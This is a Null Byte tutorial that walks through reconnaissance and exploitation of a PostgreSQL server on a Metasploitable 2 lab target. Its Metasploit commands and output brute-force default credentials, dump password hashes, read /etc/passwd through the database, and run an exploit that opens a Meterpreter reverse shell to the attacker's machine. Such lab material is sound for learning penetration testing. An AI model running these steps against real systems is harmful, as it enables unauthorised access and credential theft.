How to Gather Information on PostgreSQL Databases with Metasploit « Null Byte :: WonderHowTo

Attacks against databases have become one of the most popular and lucrative activities for hackers recently. New data breaches seem to be popping up every week, but even with all of that attention, databases continue to be a prime target. All of these attacks have to start somewhere, and we'll be exploring a variety of methods to gather information onPostgreSQL databaseswith Metasploit.PostgreSQL is an open-sourcerelational database management system(RDBMS) that uses theSQL language, along with many other features, to handle a wide variety of data workloads. Initially developed for Unix, PostgreSQL runs on all major operating systems and is the default database formacOSServer.Don't Miss:How to Fingerprint Databases & Perform General ReconnaissancePostgreSQL is known for its extensibility, reliability, data integrity, strong architecture, and robust feature set, including the popular PostGIS geospatial database extender. It's alsoACID compliantand has a dedicated open-source community.For the most part, PostgreSQL conforms withSQL languagestandards, but some syntax and functions differ slightly. It's often used for heavy workloads, where concurrency and performance are a priority, and offersmodern securityand recovery features that are essential in enterprise environments. Overall, PostgreSQL is a fantastic RDBMS that's both flexible and extensible.Step 1: Use an Nmap ScanIn this guide, we're usingMetasploitable 2as the target andKali Linuxas the local machine. You can use the same or something similar.After getting the testing lab set up, we need to determine if the PostgreSQL service is running on the target. To do so, we can run anNmap scanon port 5432, which is usually the default port for PostgreSQL. Use the-pflag to specify the port and-sVto enable version detection:~# nmap -sV 10.10.0.50 -p 5432

Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-10 11:41 CST
Nmap scan report for 10.10.0.50
Host is up (0.00064s latency).

PORT     STATE SERVICE    VERSION
5432/tcp open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
MAC Address: 00:1D:09:55:B1:3B (Dell)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.71 secondsWe can see that the PostgreSQL service is open on the target and running version 8.3.0 – 8.3.7.On Amazon:Mastering PostgreSQL 12: Advanced Techniques to Build & Administer Scalable & Reliable PostgreSQL Database Applications, 3rd EditionStep 2: Get the Version InfoMetasploithas a number of modules that we can use to gather useful information about PostgreSQL databases. Fire it up by typingmsfconsolein theterminal.~# msfconsole

     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||

       =[ metasploit v5.0.87-dev                          ]
+ -- --=[ 2006 exploits - 1096 auxiliary - 343 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Tired of setting RHOSTS for modules? Try globally setting it with setg RHOSTS x.x.x.x

msf5 >Once it loads, we can use thesearchfunction to look for modules related to PostgreSQL:msf5 > search postgre

Matching Modules
================

   #   Name                                                        Disclosure Date  Rank       Check  Description
   -   ----                                                        ---------------  ----       -----  -----------
   0   auxiliary/admin/http/manageengine_pmp_privesc               2014-11-08       normal     Yes    ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
   1   auxiliary/admin/http/rails_devise_pass_reset                2013-01-28       normal     No     Ruby on Rails Devise Authentication Password Reset
   2   auxiliary/admin/postgres/postgres_readfile                                   normal     No     PostgreSQL Server Generic Query
   3   auxiliary/admin/postgres/postgres_sql                                        normal     No     PostgreSQL Server Generic Query
   4   auxiliary/analyze/crack_databases                                            normal     No     Password Cracker: Databases
   5   auxiliary/analyze/jtr_postgres_fast                                          normal     No     John the Ripper Postgres SQL Password Cracker
   6   auxiliary/scanner/postgres/postgres_dbname_flag_injection                    normal     Yes    PostgreSQL Database Name Command Line Flag Injection
   7   auxiliary/scanner/postgres/postgres_hashdump                                 normal     Yes    Postgres Password Hashdump
   8   auxiliary/scanner/postgres/postgres_login                                    normal     Yes    PostgreSQL Login Utility
   9   auxiliary/scanner/postgres/postgres_schemadump                               normal     Yes    Postgres Schema Dump
   10  auxiliary/scanner/postgres/postgres_version                                  normal     Yes    PostgreSQL Version Probe
   11  auxiliary/server/capture/postgresql                                          normal     No     Authentication Capture: PostgreSQL
   12  exploit/linux/postgres/postgres_payload                     2007-06-05       excellent  Yes    PostgreSQL for Linux Payload Execution
   13  exploit/multi/http/manage_engine_dc_pmp_sqli                2014-06-08       excellent  Yes    ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
   14  exploit/multi/postgres/postgres_copy_from_program_cmd_exec  2019-03-20       excellent  Yes    PostgreSQL COPY FROM PROGRAM Command Execution
   15  exploit/multi/postgres/postgres_createlang                  2016-01-01       good       Yes    PostgreSQL CREATE LANGUAGE Execution
   16  exploit/windows/misc/manageengine_eventlog_analyzer_rce     2015-07-11       manual     Yes    ManageEngine EventLog Analyzer Remote Code Execution
   17  exploit/windows/postgres/postgres_payload                   2009-04-10       excellent  Yes    PostgreSQL for Microsoft Windows Payload Execution
   18  post/linux/gather/enum_users_history                                         normal     No     Linux Gather User HistoryThe first one we'll cover will give us some information about the running version. It never hurts to double-check since certain exploits will only work for certain versions. Load the module with theusecommand:msf5 > use auxiliary/scanner/postgres/postgres_versionNext, let's take a look at theoptionsto view the current settings:msf5 auxiliary(scanner/postgres/postgres_version) > options

Module options (auxiliary/scanner/postgres/postgres_version):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  template1        yes       The database to authenticate against
   PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     5432             yes       The target port
   THREADS   1                yes       The number of concurrent threads (max one per host)
   USERNAME  postgres         yes       The username to authenticate as
   VERBOSE   false            no        Enable verbose outputWe can leave all the defaults for now, but we will need to set therhostsoption to the IP address of our target:msf5 auxiliary(scanner/postgres/postgres_version) > set rhosts 10.10.0.50

rhosts => 10.10.0.50Now all we have to do is run it; use theruncommand to kick it off:msf5 auxiliary(scanner/postgres/postgres_version) > run

[*] 10.10.0.50:5432 Postgres - Version PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4) (Post-Auth)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedAnd we can see the version number is 8.3.1, which is a little more specific than whatNmapreturned.Step 3: Brute-Force the LoginThe next module we'll look at will attempt tobrute-forcethe login to the PostgreSQL database using alist of default usernames and passwords. Load it with the use command:msf5 > use auxiliary/scanner/postgres/postgres_loginLet's take a look at this modules' options:msf5 auxiliary(scanner/postgres/postgres_login) > options

Module options (auxiliary/scanner/postgres/postgres_login):

   Name              Current Setting                                                               Required  Description
   ----              ---------------                                                               --------  -----------
   BLANK_PASSWORDS   false                                                                         no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                                             yes       How fast to bruteforce, from 0 to 5
   DATABASE          template1                                                                     yes       The database to authenticate against
   DB_ALL_CREDS      false                                                                         no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                                                         no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                                                         no        Add all users in the current database to the list
   PASSWORD                                                                                        no        A specific password to authenticate with
   PASS_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt      no        File containing passwords, one per line
   Proxies                                                                                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RETURN_ROWSET     true                                                                          no        Set to true to see query result sets
   RHOSTS                                                                                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             5432                                                                          yes       The target port
   STOP_ON_SUCCESS   false                                                                         yes       Stop guessing when a credential works for a host
   THREADS           1                                                                             yes       The number of concurrent threads (max one per host)
   USERNAME                                                                                        no        A specific username to authenticate as
   USERPASS_FILE     /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt  no        File containing (space-separated) users and passwords, one pair per line
   USER_AS_PASS      false                                                                         no        Try the username as the password for all users
   USER_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt      no        File containing users, one per line
   VERBOSE           true                                                                          yes       Whether to print output for all attemptsThis one has a few more options we can mess with, but for now, the defaults will work. Just set the remote hosts option again, and we should be good to go:msf5 auxiliary(scanner/postgres/postgres_login) > set rhosts 10.10.0.50

rhosts => 10.10.0.50Now we can launch the module:msf5 auxiliary(scanner/postgres/postgres_login) > run

[!] No active DB -- Credential data will not be saved!
[-] 10.10.0.50:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)
[+] 10.10.0.50:5432 - Login Successful: postgres:postgres@template1
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedWe can see it go through each username and password combination, most of which fail, but we are left with one successful login.Step 4: Run SQL QueriesWe can runSQL queriesright from another Metasploit module instead of logging into the database directly. Load the module:msf5 > use auxiliary/admin/postgres/postgres_sqlAnd take a look at the options:msf5 auxiliary(admin/postgres/postgres_sql) > options

Module options (auxiliary/admin/postgres/postgres_sql):

   Name           Current Setting   Required  Description
   ----           ---------------   --------  -----------
   DATABASE       template1         yes       The database to authenticate against
   PASSWORD       postgres          no        The password for the specified username. Leave blank for a random password.
   RETURN_ROWSET  true              no        Set to true to see query result sets
   RHOSTS                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT          5432              yes       The target port
   SQL            select version()  no        The SQL query to execute
   USERNAME       postgres          yes       The username to authenticate as
   VERBOSE        false             no        Enable verbose outputInstead of setting the remote hosts option each time, we can use thesetgcommand to set the option globally. This means it will remain set when we switch to other modules unless we change it again.msf5 auxiliary(admin/postgres/postgres_sql) > setg rhosts 10.10.0.50

rhosts => 10.10.0.50The default query for this module is set to select the version of the database — let's see what that looks like:msf5 auxiliary(admin/postgres/postgres_sql) > run

[*] Running module against 10.10.0.50

Query Text: 'select version()'
==============================

    version
    -------
    PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

[*] Auxiliary module execution completedBut we can set this option to any valid SQL code we want. For instance, the following query will return the username and password of the current user:SELECT usename, passwd FROM pg_shadow;Let's set the option to this now:msf5 auxiliary(admin/postgres/postgres_sql) > set sql select usename, passwd from pg_shadow

sql => select usename, passwd from pg_shadowAnd run the module again:msf5 auxiliary(admin/postgres/postgres_sql) > run

[*] Running module against 10.10.0.50

Query Text: 'select usename, passwd from pg_shadow'
===================================================

    usename   passwd
    -------   ------
    postgres  md53175bce1d3201d16594cebf9d7eb3f9d

[*] Auxiliary module execution completedNow we can see the username and password hash of the current user.Step 5: Dump the HashesMetasploit also has a module that will quickly dump anypassword hashesin the database for us. Load it up:msf5 > use auxiliary/scanner/postgres/postgres_hashdumpAnd view the options:msf5 auxiliary(scanner/postgres/postgres_hashdump) > options

Module options (auxiliary/scanner/postgres/postgres_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  postgres         yes       The database to authenticate against
   PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS    10.10.0.50       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     5432             yes       The target port
   THREADS   1                yes       The number of concurrent threads (max one per host)
   USERNAME  postgres         yes       The username to authenticate asEverything looks good at this point, and since we already set the remote host earlier, all we have to do is run it:msf5 auxiliary(scanner/postgres/postgres_hashdump) > run

[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================

 Username  Hash
 --------  ----
 postgres  md53175bce1d3201d16594cebf9d7eb3f9d

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedWe can see the query runs successfully and returns the password hash.Step 6: Dump Schema InfoThe next module we'll cover will attempt to dump any schema information it can find about the database. This can be useful to get a broad picture of all the databases, tables, and settings in use. Load the module:msf5 > use auxiliary/scanner/postgres/postgres_schemadumpAnd check the options:msf5 auxiliary(scanner/postgres/postgres_schemadump) > options

Module options (auxiliary/scanner/postgres/postgres_schemadump):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   DATABASE         postgres         yes       The database to authenticate against
   DISPLAY_RESULTS  true             yes       Display the Results to the Screen
   PASSWORD         postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS           10.10.0.50       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT            5432             yes       The target port
   THREADS          1                yes       The number of concurrent threads (max one per host)
   USERNAME         postgres         yes       The username to authenticate asWe can leave the defaults and launch the module:msf5 auxiliary(scanner/postgres/postgres_schemadump) > run

[+] Postgres SQL Server Schema
 Host: 10.10.0.50
 Port: 5432
 ====================

--- []

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedWe can see that it didn't return anything, but it's worth a shot to try and gather data like this forreconnaissance.Step 7: Read the System FilesWe can also use Metasploit to readsystem filesvia the PostgreSQL database. Load the module:msf5 > use auxiliary/admin/postgres/postgres_readfileAnd take a look at the options:msf5 auxiliary(admin/postgres/postgres_readfile) > options

Module options (auxiliary/admin/postgres/postgres_readfile):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  template1        yes       The database to authenticate against
   PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
   RFILE     /etc/passwd      yes       The remote file
   RHOSTS    10.10.0.50       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     5432             yes       The target port
   USERNAME  postgres         yes       The username to authenticate as
   VERBOSE   false            no        Enable verbose outputThe default remote file to read is set to/etc/passwd, which will work for now. Let's kick it off:msf5 auxiliary(admin/postgres/postgres_readfile) > run

[*] Running module against 10.10.0.50

Query Text: 'CREATE TEMP TABLE hoieZbLAeCQ (INPUT TEXT);
      COPY hoieZbLAeCQ FROM '/etc/passwd';
      SELECT * FROM hoieZbLAeCQ'
====================================================================================================================================

    input
    -----
    backup:x:34:34:backup:/var/backups:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    bind:x:105:113::/var/cache/bind:/bin/false
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    dhcp:x:101:102::/nonexistent:/bin/false
    distccd:x:111:65534::/:/bin/false
    ftp:x:107:65534::/home/ftp:/bin/false
    games:x:5:60:games:/usr/games:/bin/sh
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
    irc:x:39:39:ircd:/var/run/ircd:/bin/sh
    klog:x:103:104::/home/klog:/bin/false
    libuuid:x:100:101::/var/lib/libuuid:/bin/sh
    list:x:38:38:Mailing List Manager:/var/list:/bin/sh
    lp:x:7:7:lp:/var/spool/lpd:/bin/sh
    mail:x:8:8:mail:/var/mail:/bin/sh
    man:x:6:12:man:/var/cache/man:/bin/sh
    msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
    mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
    news:x:9:9:news:/var/spool/news:/bin/sh
    nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
    postfix:x:106:115::/var/spool/postfix:/bin/false
    postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
    proftpd:x:113:65534::/var/run/proftpd:/bin/false
    proxy:x:13:13:proxy:/bin:/bin/sh
    root:x:0:0:root:/root:/bin/bash
    service:x:1002:1002:,,,:/home/service:/bin/bash
    sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
    statd:x:114:65534::/var/lib/nfs:/bin/false
    sync:x:4:65534:sync:/bin:/bin/sync
    sys:x:3:3:sys:/dev:/bin/sh
    syslog:x:102:103::/home/syslog:/bin/false
    telnetd:x:112:120::/nonexistent:/bin/false
    tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
    user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
    uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
    www-data:x:33:33:www-data:/var/www:/bin/sh

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
[+] 10.10.0.50:5432 Postgres - /etc/passwd saved in /root/.msf4/loot/20191211120809_default_10.10.0.50_postgres.file_153011.txt
[*] Auxiliary module execution completedWe can see that it first creates a temporary table, copies the content of the desired file, and returns it to us on the screen. It also saves this as loot to use at a later convenience.Let's try to read a different file – perhaps/etc/shadowthis time. First, set the option:msf5 auxiliary(admin/postgres/postgres_readfile) > set rfile /etc/shadow

rfile => /etc/shadowThen, run the module:msf5 auxiliary(admin/postgres/postgres_readfile) > run

[*] Running module against 10.10.0.50

[-] 10.10.0.50:5432 Postgres - Insufficent file permissions.
[*] Auxiliary module execution completedWe can see this time that it was unsuccessful since we don't have the necessaryfile permissions. Always worth a try, though.Step 8: Send a PayloadThe final module we will explore today is an exploit that will attempt to place and execute apayloadon the target. First, load the module:msf5 > use exploit/linux/postgres/postgres_payloadAnd view the options:msf5 exploit(linux/postgres/postgres_payload) > options

Module options (exploit/linux/postgres/postgres_payload):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  template1        yes       The database to authenticate against
   PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS    10.10.0.50       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     5432             yes       The target port
   USERNAME  postgres         yes       The username to authenticate as
   VERBOSE   false            no        Enable verbose output

Exploit target:

   Id  Name
   --  ----
   0   Linux x86Everything looks good, but since this is an exploit, we'll need to set a payload. Use theshowcommand to see the available payloads for this module:msf5 exploit(linux/postgres/postgres_payload) > show payloads

Compatible Payloads
===================

   #   Name                                      Disclosure Date  Rank    Check  Description
   -   ----                                      ---------------  ----    -----  -----------
   0   generic/custom                                             normal  No     Custom Payload
   1   generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   5   linux/x86/chmod                                            normal  No     Linux Chmod
   6   linux/x86/exec                                             normal  No     Linux Execute Command
   7   linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   8   linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   9   linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   10  linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   11  linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   12  linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   13  linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   14  linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   15  linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   16  linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   17  linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   18  linux/x86/read_file                                        normal  No     Linux Read File
   19  linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   20  linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   21  linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   22  linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   23  linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   24  linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   25  linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   26  linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   27  linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   28  linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   29  linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   30  linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   31  linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   32  linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)Let's use the popularMeterpreterreverse shell; use thesetcommand to set the payload:msf5 exploit(linux/postgres/postgres_payload) > set payload linux/x86/meterpreter/reverse_tcp

payload => linux/x86/meterpreter/reverse_tcpWe need to set the local host and local port options since this is areverse shell. Set thelhostto the IP address of our local machine:msf5 exploit(linux/postgres/postgres_payload) > set lhost 10.10.0.1

lhost => 10.10.0.1And thelportto a port of your choosing:msf5 exploit(linux/postgres/postgres_payload) > set lport 4321

lport => 4321That should be everything we need, so let's kick it off:msf5 exploit(linux/postgres/postgres_payload) > run

[*] Started reverse TCP handler on 10.10.0.1:4321
[*] 10.10.0.50:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/FKXyvnhM.so, should be cleaned up automatically
[*] Sending stage (985320 bytes) to 10.10.0.50
[*] Meterpreter session 1 opened (10.10.0.1:4321 -> 10.10.0.50:37662) at 2020-05-10 12:18:23 -0600

meterpreter >We can see it creates the handler, uploads the payload on the target, and finally, opens a session. We can now run commands likesysinfoto verify we have a shell on the target:meterpreter > sysinfo

Computer     : metasploitable.localdomain
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linuxWrapping UpToday we learned about PostgreSQL databases and how to gather information on them to aid in recon. First, we ran an Nmap scan to verify the service was open on the target. Next, we covered a variety of modules for collecting information, including version, login credentials, and password hashes. Finally, we used a module to exploit PostgreSQL, and ultimately obtained a Meterpreter session on the target.Don't Miss:Use Metasploit's Database to Stay Organized & Store Information While HackingWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byTim van der Kuip/UnsplashRelatedHow To:Use Metasploit's Database to Stay Organized & Store Information While HackingHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackHow To:Enumerate MySQL Databases with MetasploitHow To:Use John the Ripper in Metasploit to Quickly Crack Windows HashesHow To:Install Gitrob on Kali Linux to Mine GitHub for CredentialsRaspberry Pi:MetasploitHow to Hack Like a Pro:Getting Started with MetasploitHow to Hack Databases:Hunting for Microsoft's SQL ServerHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPMac for Hackers:How to Install the Metasploit FrameworkHow To:Quickly Gather Target Information with Metasploit Post ModulesHow to Hack Databases:Cracking SQL Server Passwords & Owning the ServerHow To:Use Postenum to Gather Vital Data During Post-ExploitationHow To:Make a Reverse HTTPS Payload and Send It with CobaltStrikeHack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Mac for Hackers:How to Organize Your Tools by Pentest StagesHack Like a Pro:The Hacker MethodologyHow To:Exploit EternalBlue on Windows Server with MetasploitHow to Hack Databases:Hacking MySQL Online Databases with SqlmapHow To:Identify Missing Windows Patches for Easier ExploitationHow To:Run an VNC Server on Win7Hack Like a Pro:How to Find  Exploits Using the Exploit Database in KaliHow To:Hack Metasploitable 2 Including Privilege EscalationNews:PostgreSQL Quick StartNews:Accessing a PostgreSQL Database in your C/C++ ProgramIPsec Tools of the Trade:Don't Bring a Knife to a GunfightHow To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseHack Logs and Linux Commands:What's Going On Here?